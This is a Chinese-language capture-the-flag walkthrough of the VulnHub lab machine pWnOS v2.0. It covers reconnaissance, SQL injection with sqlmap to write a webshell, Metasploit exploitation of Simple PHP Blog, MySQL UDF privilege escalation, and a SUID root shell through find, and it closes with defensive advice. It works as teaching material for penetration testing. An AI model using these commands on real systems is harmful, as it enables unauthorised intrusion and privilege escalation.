VulnHub-pWnOS: 2.0-靶机渗透学习
字数 1712 2025-08-15 21:33:08
pWnOS v2.0 靶机渗透教学文档
靶机概述
- 名称: pWnOS v2.0
- 类型: Virtual Machine 映像
- 难度: 中级(CTF)
- 发布日期: 2011年7月4日
- 目标: 获取root权限并找到flag.txt
- 设计用途: 用于实践渗透测试,包含多个达到root的入口点
- 推荐环境: VMware Workstation 7.0(兼容大多数虚拟机软件)
网络配置
靶机默认网络配置:
- IP地址: 10.10.10.100
- 子网掩码: 255.255.255.0
- 网关: 10.10.10.15
攻击机配置示例(需在同一网段):
auto eth0
iface eth0 inet static
address 10.10.10.101
netmask 255.255.255.0
gateway 10.10.10.15
信息收集阶段
1. 端口扫描
使用nmap扫描靶机开放端口:
nmap -sV 10.10.10.100
发现开放服务:
- 22/tcp: SSH
- 80/tcp: HTTP
2. Web服务枚举
访问http://10.10.10.100,在前台界面发现邮箱:admin@isints.com
使用nikto扫描Web漏洞:
nikto -h http://10.10.10.100
发现关键信息:
- 存在登录界面(login.php)
- 可能存在其他漏洞点
攻击路径一:SQL注入+文件写入
1. SQL注入检测
发现email参数存在SQL注入漏洞
使用sqlmap进行自动化测试:
sqlmap -r request.txt --batch
2. 利用LOCAL_INFILE函数写入Webshell
通过mysql的LOCAL_INFILE函数写入木马:
sqlmap -r request.txt --batch --file-write /tmp/shell.php --file-dest /var/www/shell1.php
3. 获取反向shell
访问写入的webshell路径:
http://10.10.10.100/shell1.php
攻击路径二:Simple PHP Blog漏洞利用
1. 目录扫描
使用dirb发现/blog目录:
dirb http://10.10.10.100
2. 识别CMS版本
通过源代码分析发现使用Simple PHP Blog 0.4.0
3. 利用已知漏洞
Simple PHP Blog 0.4.0存在远程代码执行漏洞
使用msfconsole创建账号:
msfconsole
use exploit/unix/webapp/sphpblog_file_upload
set RHOSTS 10.10.10.100
exploit
创建了账号:RG5Bqr/DHmsZA
4. 文件上传获取shell
- 登录后台
- 找到图片上传点
- 上传PHP webshell
- 访问上传的shell:
http://10.10.10.100/blog/images/shell.php
权限提升:UDF提权
1. 检查MySQL权限
发现MySQL以root用户运行:
ps aux | grep mysql
2. 查找MySQL凭据
在/var/www和/var目录下查找MySQL配置文件,发现凭据
3. 检查secure_file_priv设置
登录MySQL后检查:
show global variables like 'secure%';
关键值:
- NULL: 限制导入/导出
- /tmp/: 限制到/tmp目录
- 空值: 无限制(可提权)
4. UDF提权步骤
- 确定MySQL架构:
show variables like '%version%';
-
从MSF获取合适的UDF文件:
- 32位:lib_mysqludf_sys.so
- 64位:lib_mysqludf_sys_64.so
-
上传UDF文件到靶机
-
查找MySQL插件目录:
show variables like '%plugin%';
- 创建表并写入UDF内容:
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/lib_mysqludf_sys.so'));
- 将内容写入插件目录:
select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';
- 创建函数:
create function sys_eval returns string soname 'udf.so';
- 执行命令获取root权限:
select sys_eval('id');
5. 获取root shell
- 给find命令设置SUID:
select sys_eval('chmod +s /usr/bin/find');
- 通过find获取root shell:
find / -exec /bin/sh -p \; -quit
总结与关键点
渗透路径总结
-
路径一:
- 发现login.php
- 利用email参数SQL注入
- 通过LOCAL_INFILE函数上传webshell
- 获取初始shell
-
路径二:
- 发现/blog目录
- 识别Simple PHP Blog 0.4.0
- 利用已知漏洞创建账户
- 通过文件上传获取webshell
-
权限提升:
- 发现MySQL以root运行
- 获取MySQL凭据
- 检查secure_file_priv设置
- 通过UDF提权获取root权限
关键学习点
-
SQL注入利用:
- 不仅限于数据泄露,还可用于文件写入
- LOCAL_INFILE函数的利用
-
CMS漏洞利用:
- 版本识别的重要性
- 已知漏洞的快速利用
-
UDF提权技术:
- MySQL提权的核心原理
- secure_file_priv设置的影响
- 自定义函数的创建与使用
-
权限维持:
- SUID二进制文件的利用
- 获取交互式root shell的方法
防御建议
- 对用户输入进行严格过滤
- 限制MySQL的文件操作权限
- 及时更新CMS和插件
- 避免以root权限运行服务
- 定期检查系统上的SUID/SGID文件